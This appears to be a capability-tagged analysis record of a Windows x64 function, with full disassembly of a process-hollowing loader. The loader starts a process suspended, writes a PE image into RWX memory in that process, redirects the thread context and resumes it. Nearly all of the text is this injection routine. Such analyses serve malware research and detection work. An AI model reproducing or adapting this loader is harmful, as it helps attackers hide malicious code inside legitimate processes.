Function at 0x140001c80
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resolve function by parsing pe exports
Resume thread
Terminate process
Use process replacement

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax + 8], rcx
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xe0
xor r13d, r13d
mov r14, rdx
mov esi, r13d
mov r10, rcx
movsxd rbx, dword [r14 + 0x3c]
add rbx, r14
cmp dword [rbx], 0x4550
jne 0x140001e84
xor eax, eax
lea rdi, [rbp - 0x39]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea ecx, [rax + 0x68]
rep stosb byte [rdi], al
lea ecx, [rax + 0x18]
mov dword [rbp - 0x39], 0x68
lea rdi, [rbp - 0x59]
rep stosb byte [rdi], al
lea rax, [rbp - 0x59]
mov rcx, r10
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x39]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r13d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140001e80
mov r8d, dword [rbx + 0x50]
lea r15, [rbx + 0x30]
mov rdx, qword [r15]
mov r9d, 0x3000
mov rcx, qword [rbp - 0x59]
mov r13d, dword [rbp - 0x49]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
xor edi, edi
mov r12, rax
test rax, rax
je 0x140001e55
mov r9d, dword [rbx + 0x54]
mov r8, r14
mov rcx, qword [rbp - 0x59]
mov rdx, rax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001e55
xor eax, eax
cmp ax, word [rbx + 6]
jae 0x140001dca
mov r15d, eax
movzx eax, word [rbx + 0x14]
mov rcx, qword [rbp - 0x59]
add rax, r15
mov r8d, dword [rax + rbx + 0x2c]
mov edx, dword [rax + rbx + 0x24]
add r8, r14
mov r9d, dword [rax + rbx + 0x28]
add rdx, r12
xor eax, eax
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001e55
movzx eax, word [rbx + 6]
inc edi
add r15, 0x28
cmp edi, eax
jl 0x140001d84
lea r15, [rbx + 0x30]
xor ecx, ecx
mov edx, 0x4d0
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x140001e55
mov dword [rax + 0x30], 0x10000b
mov rdx, rax
mov rcx, qword [rbp - 0x51]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140001e55
mov rdx, qword [rdi + 0x88]
xor eax, eax
mov rcx, qword [rbp - 0x59]
add rdx, 0x10
mov r8, r15
mov qword [rsp + 0x20], rax
lea r9d, [rax + 8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001e55
mov eax, dword [rbx + 0x28]
mov rdx, rdi
add rax, r12
mov qword [rdi + 0x80], rax
mov rcx, qword [rbp - 0x51]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x140001e55
mov rcx, qword [rbp - 0x51]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x140001eb2
test r13d, r13d
je 0x140001e7d
xor edx, edx
mov r8d, r13d
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor r13d, r13d
test rax, rax
je 0x140001e80
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x140001e80
xor r13d, r13d
mov r10, qword [rbp + 0x67]
inc esi
cmp esi, 5
jb 0x140001cb3
xor eax, eax
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov eax, 1
jmp 0x140001e91